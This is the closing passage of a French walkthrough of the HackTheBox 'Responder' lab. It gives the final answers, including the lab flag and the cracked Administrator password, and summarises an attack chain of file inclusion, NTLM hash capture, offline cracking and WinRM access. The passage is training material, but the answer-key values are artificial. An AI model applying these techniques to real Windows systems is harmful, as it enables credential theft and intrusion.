Explication : Le mot de passe a été découvert en crackant le hash NetNTLMv2 avec John the Ripper et la wordlist rockyou.txt.
Question 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
Réponse : 5985
Explication : WinRM (Windows Remote Management) écoute par défaut sur le port TCP 5985 pour les connexions HTTP et 5986 pour HTTPS.
Question 11
Submit root flag
Réponse : ea81b7afddd03efaa0945333ed147fac
Explication : Le flag se trouve dans C:\Users\mike\Desktop\flag.txt et est accessible après s'être connecté via Evil-WinRM avec les credentials Administrator:badminton.
Conclusion
Le challenge Responder illustre une chaîne d'attaque sophistiquée ciblant des environnements Windows. Il combine plusieurs vecteurs d'exploitation pour compromettre un système.
Points clés
- Virtual Hosting : Comprendre la résolution de noms de domaine et la configuration DNS locale
- File Inclusion (LFI/RFI) : Exploiter des vulnérabilités d'inclusion de fichiers pour lire des fichiers locaux ou déclencher des connexions distantes
- NTLM Authentication : Comprendre le processus d'authentification Windows et ses vulnérabilités
- Hash Capture : Utiliser Responder pour capturer des hashes NetNTLMv2 lors d'authentifications SMB
- Offline Cracking : Casser des hashes avec des outils comme John the Ripper
- Remote Access : Exploiter WinRM pour obtenir un accès shell distant
Compétences développées
- ✅ Configuration de résolution DNS locale
- ✅ Identification et exploitation de LFI/RFI
- ✅ Compréhension approfondie de NTLM
- ✅ Utilisation de Responder pour des attaques man-in-the-middle
- ✅ Cracking de hashes avec John the Ripper
- ✅ Accès distant via WinRM avec Evil-WinRM
- ✅ Navigation dans des systèmes Windows en PowerShell
Progression
Ce challenge marque une avancée significative en complexité :
- Tier 0 : Services individuels avec configurations par défaut
- Tier 1 Crocodile : Combinaison de FTP et Web, réutilisation de credentials
- Tier 1 Responder : Exploitation de LFI → Capture NTLM → Hash cracking → Remote access
Next steps
Après avoir complété Responder, vous êtes prêt pour :
- Tier 2 : Challenges avec exploitation de CVE et élévation de privilèges
- Active Directory : Environnements multi-machines avec domaines Windows
- Advanced Windows Exploitation : Kerberoasting, Pass-the-Hash, Golden Tickets
Concepts avancés à explorer
- NTLM Relay Attacks : Relayer des authentifications NTLM vers d'autres services
- SMB Signing : Comprendre les protections contre les attaques de relais
- Kerberos : Protocole d'authentification plus moderne que NTLM
- Active Directory Attacks : BloodHound, PowerView, mimikatz
Ressources complémentaires
- HackTheBox Starting Point
- NTLM Authentication Explained
- File Inclusion Vulnerabilities - OWASP
- Responder GitHub
- Evil-WinRM Documentation
Félicitations pour avoir complété le challenge Responder ! 🎯
Vous maîtrisez maintenant les concepts d'authentification Windows, de capture de hashes NTLM, et d'accès distant via WinRM. Ces compétences sont essentielles pour le pentesting d'environnements Windows et Active Directory. Continuez votre apprentissage avec les challenges suivants !